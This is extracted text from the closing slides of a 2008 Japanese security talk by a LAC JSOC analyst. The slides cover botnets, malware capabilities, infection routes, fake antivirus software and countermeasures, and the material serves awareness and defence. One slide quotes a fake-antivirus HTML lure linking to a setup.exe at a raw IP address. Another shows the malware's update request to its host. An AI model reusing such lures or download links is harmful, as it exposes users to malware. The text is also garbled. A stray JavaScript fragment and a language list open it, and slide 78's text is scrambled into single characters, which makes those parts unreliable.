n=navigator.userLanguage.toUpperCase();if((n!="ZH-CN")&&(n!="ZH-MO")&&(n!="ZH-HK")&&(n!="BN")&&(n!="GU")&&(n!="NE")&&(n!="PA")&&(n!="ID")&&(n!="EN-PH")&&(n!="UR")&&(n!="RU")&&(n!="KO")&&(n!="ZH-TW")&&(n!="ZH")&&(n!="HI")&&(n!="TH")&&(n!="VI")){ ------ }BN
ベンガル語
EN-PH 英語/フィリピン
GU
グジャラート語HIヒンディー語ID
インドネシア語
KO
韓国語
NE
ネパール語
PA
パンジャブ語
RU
ロシア語

TH
タイ語
UR
ウルドゥー語
VI
ベトナム語
ZH
中国語
ZH-CN 中国語/中国
ZH-HK 中国語/香港
ZH-MO 中国語/マカオ
ZH-TW 中国語/台湾

67

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

マルウェア68

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

マルウェアC&Cとの通信形態の変化
ボットネットの利用状況
偽アンチウイルスソフト

69

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

ボットの基本的な動き

ボットの親玉が
操るサーバ

親玉と通信

情報の流出
ゲームのアカウント
OSのシリアルキー

ボットの親玉主にIRCで通信
しかし最近は他のプロトコルでもDoS/DDoS攻撃

大量のspamメール
70

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

能動的攻撃→受動的攻撃→マルウェア
Downloder系がほとんど
AutoRunの設定を変更し、自動起動
Upack(Windows PE)でパッキング
ファイル感染の重複回避
アンチウィルスソフトの停止
特定サイトを定期的に表示
キーロギングオンラインゲームにログインした際のログイン情報を取得
ユーザのホスト情報などを取得
オンラインゲームのシリアル番号などの設定情報を取得取得した情報を特定のサイトへ送信

71

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

攻撃ホストの重複状況■送信元IPアドレスはほとんど重複しない

受動的攻撃サイト

不審なE-Mailを送信
したホスト

ウェブアプリを狙うボット

Web改ざんを狙ったインジェクション

13000 IPs

古いOpenSSLの脆弱性を狙った攻撃を行ったホスト

MS04-007の脆弱性を狙った攻撃を行ったホスト

72

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

感染原因・感染経路■メールの添付ファイルによる感染■昔
・2004年にメール添付型ウイルスが流行
・MyDoom、NetSky、Bagleの作者の罵り合い・ウイルス自らSMTPサーバに接続してメール送信⇒アクセス制御によって止められた⇒ネットワーク内のSMTPサーバに接続してメール送信■今・最近、感染してみた例
・感染後、外部ウェブサーバに接続し、アドレスリストを取得
・60秒間で6000通のspamを送信
・標的型攻撃対策手法に関する調査報告書
・http://www.jpcert.or.jp/research/2008/inoculation̲200808.pdf
73

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

偽アンチウイルスソフト<center><font color="#FF0000"><ahref="http://89.187.49.18/setup.exe"><b><fontsize="+4">Best Antivirus For Windows XP or Vista<b></a></font><style>74

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

AntiVirus XP 2008のアップデート
GET /updates/check.html HTTP/1.1
Accept: */*UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; AntivirXP08; .NET CLR 1.1.4322; .NET CLR
2.0.50727)
Host: www.antivirusxp-2008.net
Connection: Keep-Alive
HTTP/1.1 200 OK
Server: nginx/0.6.26
Date: Sun, 17 Aug 2008 16:43:16 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Last-Modified: Fri, 07 Mar 2008 18:45:48 GMT
Accept-Ranges: bytes
Content-Length: 87<pre>
APP̲VER=3.5.1.20
DATABASE̲VER=3.5.1.20
SIGNATURES=60532
DATE=17/12/07</pre>

75

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

今後の課題76

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

鎖は一番弱い部分が切れる
個別最適
担当者に依存したセキュリティレベル
鎖の弱い部分から侵食される

全体最適
システム全体にセキュリティを
IT全体の構造改革も見据えてセキュリティ

セキュリティ
セキュリティ

セキュリティ

アプリ

アプリ

アプリ

アプリ

サーバ

サーバ

サーバ

サーバ

ネットワークネットワークネットワークネットワーク

77

アプリ

アプリ

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

セキュリティ対策のポイント

（１）
策
対
の
前
実装

見

（２）
み
組
仕
える

組

（３）
携
連
の
内
織
共有
の
訓練
知
応
ント対
デ
シ
イン

組み
仕
ける
動き
見つ
の
後
けた
つ
見

対策
の
かる
ため
か
い
れな
金が
ら
お
や
は
対策
の
け
後付

78

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

参考URL
JSOC Report• http://www.lac.co.jp/info/jsoc̲report/

Secure Site Checker Free• http://www.lac.co.jp/info/sscf.html

Aguse• http://www.aguse.jp/

VirusTotal• http://www.virustotal.com/jp/

79

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

ありがとうございました。
ネット犯罪の多くは、気づかなかったのではなく、見えなかったのです。

川口 洋, CISSP
株式会社ラック
JSOC チーフエバンジェリスト
セキュリティアナリスト

hiroshi.kawaguchi @ lac.co.jp
株式会社ラック
http://www.lac.co.jp

80

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.